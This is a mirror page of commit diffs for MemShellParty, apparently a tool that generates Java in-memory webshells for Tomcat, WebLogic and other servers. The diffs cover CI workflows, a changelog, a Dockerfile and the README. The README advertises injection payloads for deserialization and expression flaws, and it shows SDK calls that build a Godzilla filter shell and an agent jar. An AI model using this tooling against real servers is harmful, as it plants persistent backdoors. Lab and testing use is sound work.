mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 |
@@ -109,6 +109,18 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: boot
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||||
|
CONTEXT_PATH=/redqueen-memshell-party
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:redqueen
|
||||||
|
|
||||||
deploy-maven:
|
deploy-maven:
|
||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ on:
|
|||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
- 'boot/**'
|
- 'boot/**'
|
||||||
|
- 'examples/**'
|
||||||
- 'web/**'
|
- 'web/**'
|
||||||
- '**.md'
|
- '**.md'
|
||||||
- '**/*.png'
|
- '**/*.png'
|
||||||
@@ -40,6 +41,7 @@ jobs:
|
|||||||
|
|
||||||
docker-build-test:
|
docker-build-test:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
if: github.ref == 'refs/heads/master'
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4
|
||||||
@@ -60,7 +62,7 @@ jobs:
|
|||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
integration-test:
|
memshell-integration-test:
|
||||||
strategy:
|
strategy:
|
||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
@@ -113,7 +115,60 @@ jobs:
|
|||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
- name: Integration Test with gradle
|
||||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
detection-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
needs: [ unit-test ]
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
@@ -5,6 +5,46 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
|
||||||
|
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
|
||||||
|
> 进行调整。
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
|
||||||
|
- Web 添加关于页面
|
||||||
|
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
|
||||||
|
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
|
||||||
|
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
|
||||||
|
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
|
||||||
|
- 修复 TongWeb8 context 获取错误导致注入失败的问题
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
|
||||||
|
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
|
||||||
|
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
||||||
|
- 简化 Tomcat AgentInjector 的代码
|
||||||
|
- 前端 module 分包减少单个 js 体积,加快首次加载速度
|
||||||
|
- 移除 memshell-party-bom 模块,改用
|
||||||
|
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
||||||
|
- 使用 build-logic 替代
|
||||||
|
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
||||||
|
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
|
||||||
|
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
|
||||||
|
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
||||||
|
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
|
||||||
|
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
|
||||||
|
|
||||||
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|||||||
+23
-12
@@ -1,19 +1,27 @@
|
|||||||
|
## Contribute
|
||||||
|
|
||||||
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||||
|
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- common:bytebuddy 等工具类存放
|
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||||
- generator:内存马生成核心
|
- generator:内存马生成核心
|
||||||
- deserialize:反序列化相关 gadget
|
- packer:常见漏洞 payload 生成
|
||||||
- integration-test:集成测试用例
|
- integration-test:集成测试用例
|
||||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
- memshell:内存功能类以及注入器
|
||||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||||
- tools/behinder:冰蝎简易连接器
|
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||||
- tools/godzilla:哥斯拉简易连接器
|
|
||||||
- tools/suo5:Suo5 简易连接器
|
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
|
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -28,12 +36,15 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例
|
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
# 仅运行 jetty 下的集成测试用例
|
|
||||||
|
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建 war 包
|
# 构建靶场 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
+5
-11
@@ -1,15 +1,12 @@
|
|||||||
FROM buildpack-deps:bullseye-scm AS source
|
FROM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM oven/bun:1.2.9 AS frontend
|
FROM oven/bun:1.2.19 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -27,11 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||||
|
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -39,9 +33,9 @@ COPY --from=source /usr/src /usr/src
|
|||||||
|
|
||||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||||
|
|
||||||
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -25,18 +25,9 @@
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流
|
> 交流群,欢迎一起学习交流。
|
||||||
|
|
||||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
|
||||||
|
|
||||||
希望你能从这个项目学会或尝试做的:
|
|
||||||
|
|
||||||
1. 学会编写常见中间件框架的内存马。
|
|
||||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
|
||||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
|
||||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
|
||||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@@ -44,18 +35,33 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
|
|||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||||
- 最小化:尽可能精简内存马大小,高效传输。
|
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||||
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||||
|
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||||
|
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||||
|
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||||
|
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||||
|
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
|
### 使用前必看
|
||||||
|
|
||||||
|
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
||||||
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
|
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -84,303 +90,17 @@ docker rm -f memshell-party
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
### SDK 集成到现有工具中
|
## User Guide
|
||||||
|
|
||||||
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
1. [适配情况](./docs/Compatibility.md)
|
||||||
|
2. [本地构建](./docs/BuildOnLocal.md)
|
||||||
|
3. [SDK 集成](./examples/memshell-party-maven-example)
|
||||||
|
4. [代码贡献](./CONTRIBUTING.md)
|
||||||
|
|
||||||
1. 添加依赖,Maven Or Gradle
|
## Special Thanks
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- Maven Repo-->
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>1.7.0</version>
|
|
||||||
</dependency>
|
|
||||||
```
|
|
||||||
|
|
||||||
```groovy
|
|
||||||
// Gradle Repo
|
|
||||||
implementation 'io.github.reajason:generator:1.7.0'
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 生成 Tomcat Godzilla Filter 内存马示例
|
|
||||||
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:"+result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:"+result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
|
||||||
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
```
|
|
||||||
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
```
|
|
||||||
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
|
||||||
|
|
||||||
## 适配情况
|
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
|
||||||
|
|
||||||
### 中间件以及框架
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| ProxyValve | | | |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| ProxyValve | | | |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
|
||||||
|----------------------|----------------------|------------------------|
|
|
||||||
| Filter | Filter | Filter |
|
|
||||||
| Listener | Listener | Listener |
|
|
||||||
| Valve | Valve | Valve |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
|
|
||||||
| Apusic AS (9) | Primeton(6.5) |
|
|
||||||
|---------------------|----------------------|
|
|
||||||
| Servlet | Filter |
|
|
||||||
| Filter | Listener |
|
|
||||||
| Listener | Valve |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| | ContextValve - Agent |
|
|
||||||
|
|
||||||
### 内存马功能
|
|
||||||
|
|
||||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
|
||||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
|
||||||
- [x] 命令执行
|
|
||||||
